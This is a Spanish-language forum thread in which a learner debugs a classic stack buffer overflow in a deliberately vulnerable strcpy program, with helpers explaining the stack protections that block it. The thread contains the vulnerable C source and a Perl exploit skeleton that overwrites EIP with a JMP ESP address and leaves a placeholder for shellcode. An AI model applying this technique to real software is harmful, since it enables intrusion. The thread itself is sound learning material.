Buenas gente.
Verán, estaba siguiendo el tutorial de Rojodos sobre buffer overflow (http://www.todopsp.com/foros/showthread.php?t=23953 (http://www.todopsp.com/foros/showthread.php?t=23953) , hay que darle a "Premum Download" y se descarga), y... claro, sé ensamblador y entiendo lo que dice, pero a la hora de poner muchas AAAAAAs (90 As por ejemplo) con el CMD y darle a "más detalles", el offset no es "41414141", y no entiendo el porqué. He probado a ejecutarlo en un Win8 físico y en una máquina virtual con WinXP Professional SP1 (que no tiene ni siquiera el DEP, al ser SP1), y a debuggearlo con OllyDbg 1.10 y con Immunity Debugger, pero me da el mismo resultado.
En concreto, cuando intento debuggear con Olly sin argumentos, el exit code es 0, y cuando le pongo 90 As y le doy a F9 (run), el exit code es C0000409
He compilado el código fuente desde la consola de MVC++ 2005 (cl.exe /TC vuln1.c).
Subo el ejecutable por si queréis echarle un vistazo: http://bayfiles.net/file/17EMR/HuI4La/vuln1.exe (http://bayfiles.net/file/17EMR/HuI4La/vuln1.exe)
El código compilado es el siguiente:
/* vuln1.c por Rojodos */
#include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida
int main (int argc, char **argv) // La función "principal" del programa función
{
char buffer[64]; //Declaramos un array con 64 bytes de espacio
if (argc < 2) // Si los argumentos son menores que 2...
{
printf ("Introduzca un argumento al programa\n"); //Printeamos
return 0; // y retornamos 0 a la función main, y el programa acaba
}
strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.
return 0; // Devolvemos 0 a main, y el programa acaba.
}
He probado a seguir el tutorial de Coreland, y con el programa ya compilado del PDF nº 1 sí me funciona lo de modificar el EIP, pero si lo compilo yo no, y no sé por qué.
Gracias de antemano :)
Tienes que dar más datos, que observas en la pila, esta el buffer de Aes por algun lado? Pon un bp en strcpy y tracea.
Cita de: soez en 27 Febrero 2014, 22:16 PM
Tienes que dar más datos, que observas en la pila, esta el buffer de Aes por algun lado? Pon un bp en strcpy y tracea.
Vale, hay un problema aquí:
Abro Olly
Pongo 90 As y Restart
A debuggear!
(http://www.subeimagenes.com/img/1-859844.png)
CommandBar -> BP strcpy (no da ningún error)
Pero no encuentro por el ejecutable la llamada a msvcrt.strcpy o a user32.strcpy, en cambio, cuando compilaba con GCC (Cygwin) sí que me saltaba a una biblioteca suya y a la función strcpy.
Pero bueno, vayamos a la ejecución de código:
Le doy a run y sale esto (http://www.subeimagenes.com/img/2-859845.png), PUES NADA, a debuggear paso por paso.
Sigo ejecutando y salen en la pila las As: (http://www.subeimagenes.com/img/3-859847.png) , sigo ejecutando y me encuentro con esto: (http://www.subeimagenes.com/img/4-859848.png), aunque luego en la pila sólo están las 90 que yo puse). Ya estoy más cerca. Pero sigo ejecutando y me encuentro con que ya no están en la pila las As (http://www.subeimagenes.com/img/5-859849.png) y con
IsDebuggerPresent!! pues como no veo saltos condicionales después del call, sustituyo la función por NOPs y continuo ejecutando, y ahora se pushea el ExitCode y se llama a TerminateProcess, y finaliza con el ExitCode que posteé en la entrada del tema (C0000409), (http://www.subeimagenes.com/img/6-859850.png)
Salu2
Has pasado la función strcpy traceando? me parece que si, pon una imagen justo en el call del olly antes de entrar a la función strcpy.
Cita de: soez en 28 Febrero 2014, 00:15 AM
Has pasado la función strcpy traceando? me parece que si, pon una imagen justo en el call del olly antes de entrar a la función strcpy.
Es lo que te comentaba, no aparece la función como una llamada, no sé si es que se implementa en el ejecutable como código o qué...
Sólo he encontrado interesante la función kernel32.LCMapStringA.
Click derecho --> Search for --> All intermodular callsFound intermodular calls
Address Disassembly Destination
00401437 CALL vuln1.0040390C (Initial CPU selection)
00408A40 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl kernel32.CloseHandle
00409306 CALL ESI kernel32.CloseHandle
004092E3 CALL DWORD PTR DS:[<&KERNEL32.CreateFile kernel32.CreateFileA
00402642 CALL DWORD PTR DS:[<&KERNEL32.ExitProces kernel32.ExitProcess
0040734C CALL DWORD PTR DS:[<&KERNEL32.FlushFileB kernel32.FlushFileBuffers
00403076 CALL DWORD PTR DS:[<&KERNEL32.FreeEnviro kernel32.FreeEnvironmentStringsA
0040308D CALL DWORD PTR DS:[<&KERNEL32.FreeEnviro kernel32.FreeEnvironmentStringsA
00403033 CALL DWORD PTR DS:[<&KERNEL32.FreeEnviro kernel32.FreeEnvironmentStringsW
00404255 CALL DWORD PTR DS:[<&KERNEL32.GetACP>] kernel32.GetACP
0040137A CALL DWORD PTR DS:[<&KERNEL32.GetCommand kernel32.GetCommandLineA
00406D57 CALL DWORD PTR DS:[<&KERNEL32.GetConsole kernel32.GetConsoleCP
00406D3B CALL DWORD PTR DS:[<&KERNEL32.GetConsole kernel32.GetConsoleMode
00408BFA CALL DWORD PTR DS:[<&KERNEL32.GetConsole kernel32.GetConsoleOutputCP
00404001 CALL DWORD PTR DS:[<&KERNEL32.GetCPInfo> kernel32.GetCPInfo
004042DB CALL DWORD PTR DS:[<&KERNEL32.GetCPInfo> kernel32.GetCPInfo
00408FB2 CALL ESI kernel32.GetCPInfo
00408FCB CALL ESI kernel32.GetCPInfo
0040221F CALL DWORD PTR DS:[<&KERNEL32.GetCurrent kernel32.GetCurrentProcess
004025DB CALL DWORD PTR DS:[<&KERNEL32.GetCurrent kernel32.GetCurrentProcess
0040394D CALL DWORD PTR DS:[<&KERNEL32.GetCurrent kernel32.GetCurrentProcessId
00403577 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent kernel32.GetCurrentThreadId
0040383C CALL DWORD PTR DS:[<&KERNEL32.GetCurrent kernel32.GetCurrentThreadId
00403955 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent kernel32.GetCurrentThreadId
00403045 CALL DWORD PTR DS:[<&KERNEL32.GetEnviron kernel32.GetEnvironmentStringsA
00402F83 CALL EDI kernel32.GetEnvironmentStringsW
004031C7 CALL DWORD PTR DS:[<&KERNEL32.GetFileTyp kernel32.GetFileType
00403263 CALL DWORD PTR DS:[<&KERNEL32.GetFileTyp kernel32.GetFileType
00408F44 CALL DWORD PTR DS:[<&KERNEL32.GetLocaleI kernel32.GetLocaleInfoA
0040298B CALL DWORD PTR DS:[<&KERNEL32.GetModuleF kernel32.GetModuleFileNameA
00402ED8 CALL DWORD PTR DS:[<&KERNEL32.GetModuleF kernel32.GetModuleFileNameA
00402613 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH kernel32.GetModuleHandleA
0040335D CALL DWORD PTR DS:[<&KERNEL32.GetModuleH kernel32.GetModuleHandleA
004033C9 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH kernel32.GetModuleHandleA
00403474 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH kernel32.GetModuleHandleA
004036D9 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH kernel32.GetModuleHandleA
00405403 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH kernel32.GetModuleHandleA
00404232 CALL DWORD PTR DS:[<&KERNEL32.GetOEMCP>] kernel32.GetOEMCP
00402623 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd kernel32.GetProcAddress
0040336D CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd kernel32.GetProcAddress
004033D9 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd kernel32.GetProcAddress
0040349D CALL EBX kernel32.GetProcAddress
004034AD CALL EBX kernel32.GetProcAddress
004036FB CALL ESI kernel32.GetProcAddress
00403708 CALL ESI kernel32.GetProcAddress
00403715 CALL ESI kernel32.GetProcAddress
00403722 CALL ESI kernel32.GetProcAddress
00405413 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd kernel32.GetProcAddress
004054F7 CALL ESI kernel32.GetProcAddress
0040129B CALL EBX kernel32.GetProcessHeap
004030B1 CALL DWORD PTR DS:[<&KERNEL32.GetStartup kernel32.GetStartupInfoA
00402A5B CALL DWORD PTR DS:[<&KERNEL32.GetStdHand kernel32.GetStdHandle
00403251 CALL DWORD PTR DS:[<&KERNEL32.GetStdHand kernel32.GetStdHandle
00407932 CALL DWORD PTR DS:[<&KERNEL32.GetStringT kernel32.GetStringTypeA
004077CE CALL DWORD PTR DS:[<&KERNEL32.GetStringT kernel32.GetStringTypeW
004078BD CALL DWORD PTR DS:[<&KERNEL32.GetStringT kernel32.GetStringTypeW
00403941 CALL DWORD PTR DS:[<&KERNEL32.GetSystemT kernel32.GetSystemTimeAsFileTime
0040395D CALL DWORD PTR DS:[<&KERNEL32.GetTickCou kernel32.GetTickCount
004012BF CALL DWORD PTR DS:[<&KERNEL32.GetVersion kernel32.GetVersionExA
004038C3 CALL DWORD PTR DS:[<&KERNEL32.HeapCreate kernel32.HeapCreate
004038F9 CALL DWORD PTR DS:[<&KERNEL32.HeapDestro kernel32.HeapDestroy
004053AE CALL DWORD PTR DS:[<&KERNEL32.Initialize kernel32.InitializeCriticalSection
00403642 CALL DWORD PTR DS:[<&KERNEL32.Interlocke kernel32.InterlockedDecrement
004041C0 CALL DWORD PTR DS:[<&KERNEL32.Interlocke kernel32.InterlockedDecrement
004044A6 CALL DWORD PTR DS:[<&KERNEL32.Interlocke kernel32.InterlockedDecrement
0040455D CALL DWORD PTR DS:[<&KERNEL32.Interlocke kernel32.InterlockedDecrement
004047C1 CALL EDI kernel32.InterlockedDecrement
004047CE CALL EDI kernel32.InterlockedDecrement
004034CF CALL DWORD PTR DS:[<&KERNEL32.Interlocke kernel32.InterlockedIncrement
004041EB CALL DWORD PTR DS:[<&KERNEL32.Interlocke kernel32.InterlockedIncrement
004044CB CALL EDI kernel32.InterlockedIncrement
00404737 CALL EDI kernel32.InterlockedIncrement
00404744 CALL EDI kernel32.InterlockedIncrement
004021F0 CALL DWORD PTR DS:[<&KERNEL32.IsDebugger kernel32.IsDebuggerPresent
00407662 CALL ESI kernel32.LCMapStringA
00407721 CALL DWORD PTR DS:[<&KERNEL32.LCMapStrin kernel32.LCMapStringA
004073EC CALL DWORD PTR DS:[<&KERNEL32.LCMapStrin kernel32.LCMapStringW
00407512 CALL ESI kernel32.LCMapStringW
0040754B CALL ESI kernel32.LCMapStringW
004075AF CALL DWORD PTR DS:[<&KERNEL32.LCMapStrin kernel32.LCMapStringW
004054D8 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar kernel32.LoadLibraryA
0040748A CALL ESI kernel32.MultiByteToWideChar
00407845 CALL ESI kernel32.MultiByteToWideChar
00408CD9 CALL DWORD PTR DS:[<&KERNEL32.MultiByteT kernel32.MultiByteToWideChar
00408D47 CALL DWORD PTR DS:[<&KERNEL32.MultiByteT kernel32.MultiByteToWideChar
00403969 CALL DWORD PTR DS:[<&KERNEL32.QueryPerfo kernel32.QueryPerformanceCounter
0040129E CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc> ntdll.RtlAllocateHeap
00405BF2 CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc> ntdll.RtlAllocateHeap
00405FC9 CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc> ntdll.RtlAllocateHeap
004068B4 CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc> ntdll.RtlAllocateHeap
004069F1 CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc> ntdll.RtlAllocateHeap
00403B63 CALL DWORD PTR DS:[<&KERNEL32.DeleteCrit ntdll.RtlDeleteCriticalSection
00401540 CALL DWORD PTR DS:[<&KERNEL32.EnterCriti ntdll.RtlEnterCriticalSection
00401563 CALL DWORD PTR DS:[<&KERNEL32.EnterCriti ntdll.RtlEnterCriticalSection
00403EC5 CALL DWORD PTR DS:[<&KERNEL32.EnterCriti ntdll.RtlEnterCriticalSection
00408EE3 CALL DWORD PTR DS:[<&KERNEL32.EnterCriti ntdll.RtlEnterCriticalSection
004012CF CALL DWORD PTR DS:[<&KERNEL32.HeapFree>] ntdll.RtlFreeHeap
004012F5 CALL DWORD PTR DS:[<&KERNEL32.HeapFree>] ntdll.RtlFreeHeap
00403ADB CALL DWORD PTR DS:[<&KERNEL32.HeapFree>] ntdll.RtlFreeHeap
00405F0C CALL DWORD PTR DS:[<&KERNEL32.HeapFree>] ntdll.RtlFreeHeap
00405FFA CALL DWORD PTR DS:[<&KERNEL32.HeapFree>] ntdll.RtlFreeHeap
00402F97 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00403519 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00403AEC CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00404C2B CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00406A8F CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00406B1C CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00407118 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00407163 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00407356 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
004073FE CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
004077E0 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00407D6D CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00408A4A CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00408BDA CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ntdll.RtlGetLastWin32Error
00401592 CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti ntdll.RtlLeaveCriticalSection
004015B5 CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti ntdll.RtlLeaveCriticalSection
00403DD2 CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti ntdll.RtlLeaveCriticalSection
00408F1B CALL DWORD PTR DS:[<&KERNEL32.LeaveCriti ntdll.RtlLeaveCriticalSection
00405F93 CALL DWORD PTR DS:[<&KERNEL32.HeapReAllo ntdll.RtlReAllocateHeap
00406A48 CALL DWORD PTR DS:[<&KERNEL32.HeapReAllo ntdll.RtlReAllocateHeap
00406AC9 CALL DWORD PTR DS:[<&KERNEL32.HeapReAllo ntdll.RtlReAllocateHeap
0040358F CALL DWORD PTR DS:[<&KERNEL32.SetLastErr ntdll.RtlSetLastWin32Error
00405465 CALL DWORD PTR DS:[<&KERNEL32.SetLastErr ntdll.RtlSetLastWin32Error
00408411 CALL DWORD PTR DS:[<&KERNEL32.HeapSize>] ntdll.RtlSizeHeap
00404F0E CALL <JMP.&KERNEL32.RtlUnwind> ntdll.RtlUnwind
00408017 CALL <JMP.&KERNEL32.RtlUnwind> ntdll.RtlUnwind
00407D60 CALL DWORD PTR DS:[<&KERNEL32.SetFilePoi kernel32.SetFilePointer
004032BB CALL DWORD PTR DS:[<&KERNEL32.SetHandleC kernel32.SetHandleCount
00408DC6 CALL DWORD PTR DS:[<&KERNEL32.SetStdHand kernel32.SetStdHandle
004021FA CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl kernel32.SetUnhandledExceptionFilter
004025B4 CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl kernel32.SetUnhandledExceptionFilter
0040850D CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl kernel32.SetUnhandledExceptionFilter
004039BD CALL DWORD PTR DS:[<&KERNEL32.Sleep>] kernel32.Sleep
00403A05 CALL DWORD PTR DS:[<&KERNEL32.Sleep>] kernel32.Sleep
00403A50 CALL DWORD PTR DS:[<&KERNEL32.Sleep>] kernel32.Sleep
00402226 CALL DWORD PTR DS:[<&KERNEL32.TerminateP kernel32.TerminateProcess
004025E2 CALL DWORD PTR DS:[<&KERNEL32.TerminateP kernel32.TerminateProcess
004033F3 CALL DWORD PTR DS:[<&KERNEL32.TlsAlloc>] kernel32.TlsAlloc
00403772 CALL DWORD PTR DS:[<&KERNEL32.TlsAlloc>] kernel32.TlsAlloc
00403451 CALL DWORD PTR DS:[<&KERNEL32.TlsFree>] kernel32.TlsFree
00403331 CALL ESI kernel32.TlsGetValue
00403348 CALL ESI kernel32.TlsGetValue
0040339D CALL ESI kernel32.TlsGetValue
004033B4 CALL ESI kernel32.TlsGetValue
00403402 CALL DWORD PTR DS:[<&KERNEL32.TlsGetValu kernel32.TlsGetValue
00403532 CALL DWORD PTR DS:[<&KERNEL32.TlsGetValu kernel32.TlsGetValue
0040341F CALL DWORD PTR DS:[<&KERNEL32.TlsSetValu kernel32.TlsSetValue
00402204 CALL DWORD PTR DS:[<&KERNEL32.UnhandledE kernel32.UnhandledExceptionFilter
004025BF CALL DWORD PTR DS:[<&KERNEL32.UnhandledE kernel32.UnhandledExceptionFilter
00402AE0 CALL DWORD PTR DS:[<&KERNEL32.UnhandledE kernel32.UnhandledExceptionFilter
00402B30 CALL DWORD PTR DS:[<&KERNEL32.UnhandledE kernel32.UnhandledExceptionFilter
00408517 CALL DWORD PTR DS:[<&KERNEL32.UnhandledE kernel32.UnhandledExceptionFilter
00405FE3 CALL DWORD PTR DS:[<&KERNEL32.VirtualAll kernel32.VirtualAlloc
0040606E CALL DWORD PTR DS:[<&KERNEL32.VirtualAll kernel32.VirtualAlloc
00405E9F CALL ESI kernel32.VirtualFree
00402FF8 CALL EDI kernel32.WideCharToMultiByte
00404C0D CALL DWORD PTR DS:[<&KERNEL32.WideCharTo kernel32.WideCharToMultiByte
00406E0D CALL DWORD PTR DS:[<&KERNEL32.WideCharTo kernel32.WideCharToMultiByte
004070DE CALL DWORD PTR DS:[<&KERNEL32.WideCharTo kernel32.WideCharToMultiByte
004075D2 CALL DWORD PTR DS:[<&KERNEL32.WideCharTo kernel32.WideCharToMultiByte
00408C01 CALL DWORD PTR DS:[<&KERNEL32.WideCharTo kernel32.WideCharToMultiByte
00409093 CALL DWORD PTR DS:[<&KERNEL32.WideCharTo kernel32.WideCharToMultiByte
004090B9 CALL EBX kernel32.WideCharToMultiByte
00408C1D CALL DWORD PTR DS:[<&KERNEL32.WriteConso kernel32.WriteConsoleA
00408BC7 CALL DWORD PTR DS:[<&KERNEL32.WriteConso kernel32.WriteConsoleW
00402A86 CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
00406E30 CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
00406E71 CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
00406F8B CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
0040702E CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
00407105 CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
0040714D CALL DWORD PTR DS:[<&KERNEL32.WriteFile> kernel32.WriteFile
P.D.: He tenido que actualizar a WinXP SP3, aunque no importa, ya que el resultado es el mismo (las imágenes y todos los datos que he puesto son con el SP3).
Tiene que aparecerte la función strcpy, mira en la pestaña B si tienes el breakpoint a strcpy. O si no search for -> names in all modules. Puedes enseñarme el call justo antes del 00401041?
Cita de: soez en 28 Febrero 2014, 16:21 PM
Tiene que aparecerte la función strcpy, mira en la pestaña B si tienes el breakpoint a strcpy. O si no search for -> names in all modules. Puedes enseñarme el call justo antes del 00401041?
Vaya, aparece :P.
BP strcpy --> mirar Pestaña B7C90248D ntdll Always PUSH EDI
Colocado :D
Presiono run (F9) y --> exitcode C0000409, y termina el programa. Quizá alguna protección de software me lo bloquee...
Click derecho --> Search for --> Name in all modules7C90248D ntdll .text Export strcpy
Imagen antes del CALL 00401041
(http://www.subeimagenes.com/img/7-860833.png)
En cuanto a la compilación, desactivaste GS?, DEP está desactivado para tal ejecutable?, desmarcaste todos los saltos de excepciones el el debugger?, ya que si no los quitas, el depurador intentará saltarlos y así no podrás percatarte de donde se ha producido el error (que valor toma EIP), más tarde le echaré una mirada, saludos.
Pon un bp en 00401032 y aprieta run y sacale imagen cuando pare. Te pongo aqui este ollydbg parcheado para que no detecte el IsDebuggerPresent (No me acuerdo si era el parcheado 4 o 5 si eso avisa) por ir eliminando posibilidades. Aunque este DEP activado debería parar en strcpy y ya después se ve. Si, deberias destildar todas las excepciones, puedes mirar la pestaña L log para ver que ha pasado también.
http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/L-M-N-O-P/Parcheado%204.rar
Cita de: .:UND3R:. en 28 Febrero 2014, 23:03 PM
En cuanto a la compilación, desactivaste GS?, DEP está desactivado para tal ejecutable?, desmarcaste todos los saltos de excepciones el el debugger?, ya que si no los quitas, el depurador intentará saltarlos y así no podrás percatarte de donde se ha producido el error (que valor toma EIP), más tarde le echaré una mirada, saludos.
Whaaat? ¿Desmarqué? ¿Cómo hago todo eso? No me importa leerme todo lo que me pases, quiero aprender.
He buscado por "desmarcar saltos debugger", "desmarcar jmp debugger" (también en inglés) y no sale nada que me pueda servir.
Y perdón, ahora estoy en SP3, pensé que no se activaría solo... Ya está DEP desactivado.
Cita de: soez en 28 Febrero 2014, 23:14 PM
Pon un bp en 00401032 y aprieta run y sacale imagen cuando pare. Te pongo aqui este ollydbg parcheado para que no detecte el IsDebuggerPresent (No me acuerdo si era el parcheado 4 o 5 si eso avisa) por ir eliminando posibilidades. Aunque este DEP activado debería parar en strcpy y ya después se ve. Si, deberias destildar todas las excepciones, puedes mirar la pestaña L log para ver que ha pasado también.
http://ricardonarvaja.info/WEB/OTROS/HERRAMIENTAS/L-M-N-O-P/Parcheado%204.rar
Lo que no sé es por qué Olly no me coloreaba y marcaba dónde estaba la llamada a strcpy.
Lo que me pediste:(http://www.subeimagenes.com/img/8-860849.png)
He entrado al CALL y creo que hace un loop muchas veces para comparar muchas veces, y luego se va a IsDebuggerPresent y continua normal y tal, pero luego presiono run y me sale el exitcode C0000409 (termina), y la pila no la he visto con muchos 41414141 (no he visto ningún 41)...
Con paciencia, tienes que parar justo cuando en la pila te salga algo asi ojo lo estoy poniendo a boleo pero es algo así, saca imagen.
| call to strcpy
| src = 00331274
| dst = 0012FF28
He visto en tus imagenes que el buffer se ha copiado con exito en la pila asi que habrá pasado por ahí, aunque que no te pare en strcpy al darle a run me parece muy raro.
Puede ser que no te este marcando strcpy por tener alguna opción desactivada..
Cita de: Lodos76 en 28 Febrero 2014, 23:17 PM
Whaaat? ¿Desmarqué? ¿Cómo hago todo eso? No me importa leerme todo lo que me pases, quiero aprender.
He buscado por "desmarcar saltos debugger", "desmarcar jmp debugger" (también en inglés) y no sale nada que me pueda servir.
Y perdón, ahora estoy en SP3, pensé que no se activaría solo... Ya está DEP desactivado.
Que felicidad, leer eso.
Para colorear, debes hacer clic derecho e ir a Aparence, luego en hightlight poner light jumtp and calls, no recuerdo muy bien, en cuanto a las excepciones debes irte a options, debugger optiones y dentro de esta opción te vas a la pestaña Exceptions dentro de ella deberías destildar todo, aunque precisamente es Memorya access violation, ya que es esa excepción la que se genera al sobre-escribir el EIP.
Deja terminar una parte del tutorial de corelan (estoy estudiando al igual que tú, en realidad repasando pero a full) e intento ayudarte, saludos.
Cita de: .:UND3R:. en 1 Marzo 2014, 00:01 AM
aunque precisamente es Memorya access violation, ya que es esa excepción la que se genera al sobre-escribir el EIP.
+1
Lo revisé y al parecer debe haber sido compilado con alguna opción extraña, no sé en realidad, cuando lo probé compilando con gcc sin nada extraño, funcionó sin problemas.
Nota: vuln1.exe tiene SafeSEH ON, aunque no debería afectar en nada ya que no estamos sobre-escribiendo el SEH.
Primero que nada, muchas gracias por la ayuda que me estáis dando. Me quiero dedicar a la seguridad pero nunca he podido completar ningún exploit por cosas de estas...
Hecho:
1. Jumps'n'calls coloreados (pero me refería a que no veía ningún call que ponga a la derecha strcpy funtion, como pasa con las otras funciones de las DLLs de Windows).
2. Destildadas todas las excepciones (sólo tenía tildada la opción "ignore memory access violations in KERNEL32").
¿Compilado con alguna opción extraña? Qué raro... sólo lo compilé como código C (cl.exe /TC vuln1.c).
Aunque con gcc creo que va bien, el problema es compilar con MCV++.
Respecto a esto:
| call to strcpy
| src = 00331274
| dst = 0012FF28
¿Te refieres al desensamblado, no a la pila, verdad?
Bueno, abro vuln1.exe en el OllyDbg parcheado contra IsDebuggerPresent, pongo un breakpoint en strcpy y F9.
Vale, ahora se detiene el programa en: 00401032 - CALL 0040150
F7 (entro en el CALL)
Ejecuto algunas instrucciones y entro en el bucle donde se copian los carácteres (podríamos decir que está ejecutando la función strcpy)
Ejecuto unas cuantas veces el bucle y esta esto es lo que veo
(http://www.subeimagenes.com/img/9-861280.png)
Continúo ejecutando el bucle --> Continúa sobreescribiéndose la pila
Continúo ejecutando el bucle hasta el JE SHORT 004010E9 que esta vez NO coge, y si yo he introducido 90 As, en la pila veo 22 valores 41414141 en la pila (aunque 90As/4Bytes=22.5 direcciones con 41414141, no sólo 22, pero bueno). Imagen de donde me encuentro ahora:
(http://www.subeimagenes.com/img/10-861281.png)
Continúo ejecutando y ya se llena el 0.5 que faltaba en la pila (byte,byte,41,41). Me encuentro en 00401041 - CALL 0040120D
Lo cojo! Entro al call a ver qué pasa ;)
Veo muchos MOVs de registros a direcciones que me quitan mis 41414141 de la pila, sigo ejecutando, hago un F8 (ejecutar sin entrar) al CALL de IsDebuggerPresent y sigo ejecutando instrucciones.
Bien, me veo un CALL, y después POP ECX y PUSH 0, luego SetUnhandlerExceptionFilter, luego UnhandledExceptionFilter,ExitCode=C0000409, luego GetCurrentProcess y TerminateProcess, así que entro a ese call a ver qué pasa.
Ese CALL contenía un AND y una instrucción RET, pues nada, sigo ejecutando y termina el programa.
¿Y ahora qué? :/
De nada para eso estamos. Me refería a la pila no al desensamblado, me interesa más que enseñes la pila. Justo cuando te pares en la función strcpy antes de entrar saca imagen para ver el buffer disponible que te queda para pisar el return, etc..
Cita de: soez en 1 Marzo 2014, 18:49 PM
De nada para eso estamos. Me refería a la pila no al desensamblado, me interesa más que enseñes la pila. Justo cuando te pares en la función strcpy antes de entrar saca imagen para ver el buffer disponible que te queda para pisar el return, etc..
(http://www.subeimagenes.com/img/11-861398.png)
Me parece que te hacen falta 76 Aes justo para pisar el return, pruébalo y comenta el resultado, si te quita la función Aes de la pila etc. Paciencia ya saldrá.
Cita de: soez en 1 Marzo 2014, 22:10 PM
Me parece que te hacen falta 76 Aes justo para pisar el return, pruébalo y comenta el resultado, si te quita la función Aes de la pila etc. Paciencia ya saldrá.
Abro Olly parcheado
Arguments -> 76As
Restart
Pongo un BP en el CALL a strcpy (00401032). Pero una pregunta, si yo hago Search for --> Name in all modules, busco strcpy y le pongo un breakpoint, me pone un breakpoint a 7C90248D, no a 0040120D. Entonces, ¿cómo supiste que tenía que hacer un breakpoint a 0040120D a partir del breakpoint a la otra dirección?
RUN
Entro al CALL strcpy y se pushea 0012FF1C - RET ADDRESS 00401037
Continúo ejecutando el CALL
Se ponen todas las As en la pila y llego al JE SHORT que no coge el salto:
(http://www.subeimagenes.com/img/12-862124.png)
(http://www.subeimagenes.com/img/13-862125.jpg)
Ahora llegamos a JE SHORT 00401140, y entro a ver qué ocurre dentro
Ejecuto la primera instrucción, que era un MOV, y ahora los dos ASCII "AAAA..." que había en la pila tienen la misma longitud
Ejecuto algunas instrucciones hasta llegar a una instrucción RET, entonces la ejecuto y el RET ADDRESS 00401037 se quita de la pila.
Ahora estoy así:
(http://www.subeimagenes.com/img/14-862126.png)
Ejecuto ADD ESP,8
y desaparecen los dos ASCII "AAAA..." que había en la pila
Entro al último CALL (CALL 0040120D), continúo ejecutando y llega SUB ESP,328
lo ejecuto y desaparecen todos los 41414141 de la pila :/
(http://www.subeimagenes.com/img/15-862127.png)
Salimos del CALL y unos cuantos CALLs e instrucciones después salimos del programa con nuestro querido ExitCode C0000409
Con este debería funcionar:
http://www.mediafire.com/download/rcf20dct9pntl3l/vuln1.exe
Como te comenté usa Dev-C++ ya que visual studio por defecto introduce muchos mecanismos de protección los cuales para comenzar no te los recomiendo, solo estás probando la idea verdad?
además agregar que eso de pasar los argumentos a través de OllyDbg no funcionará muy bien ya que acuérdate que al momento de introducir la shellcode o payload esta tendrá caracteres no imprimibles por lo cual quizás no reciba los argumentos que tu pensabas, te dejo mi código en Perl que genera el crash:
# Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
# Language = Spanish
# Author = UND3R
my $file = "vuln1";
my $junk = "\x41" x 76;
my $eip = pack('V',0x7c951eed); # ntdll.dll | JMP ESP
my $nop = "\x90" x 20;
my $payload =
"\x43" x 50;
my $exploit = $junk . $eip . $nop . $payload;
print "Enviando argumentos a " . $file . " ...\n";
system($file, $exploit);
if ( $? == -1 ) {
print "Error en el comando: $!\n";
}else {
print "Argumento enviado correctamente.\n";
}
Es la idea ya que el payload simplemente contiene letras C aquí debería ir la shellcode, de todas maneras se limita mucho el tamaño cuidado que si el tamaño es muy gran se cierra y no puedes explotar el fallo.
Saludos
Buenas .:UND3R:.
Entonces no entiendo por qué Rojodos aconsejó que compiláramos con MVC++ 2005 si no se podía explotar de forma sencilla...
¿Podrías decirme qué "métodos" están protegiendo al programa, por favor? Según habíais dicho, sobreescribía el SEH :/
¿Entonces sugieres que siga todos los tutoriales de Corelan compilando con gcc (Dev-C++ usa gcc)? Aunque gcc tiene sus propias DLL para funciones como strcpy, y no llama a las de Windows, aunque eso da igual...
Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no? Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)
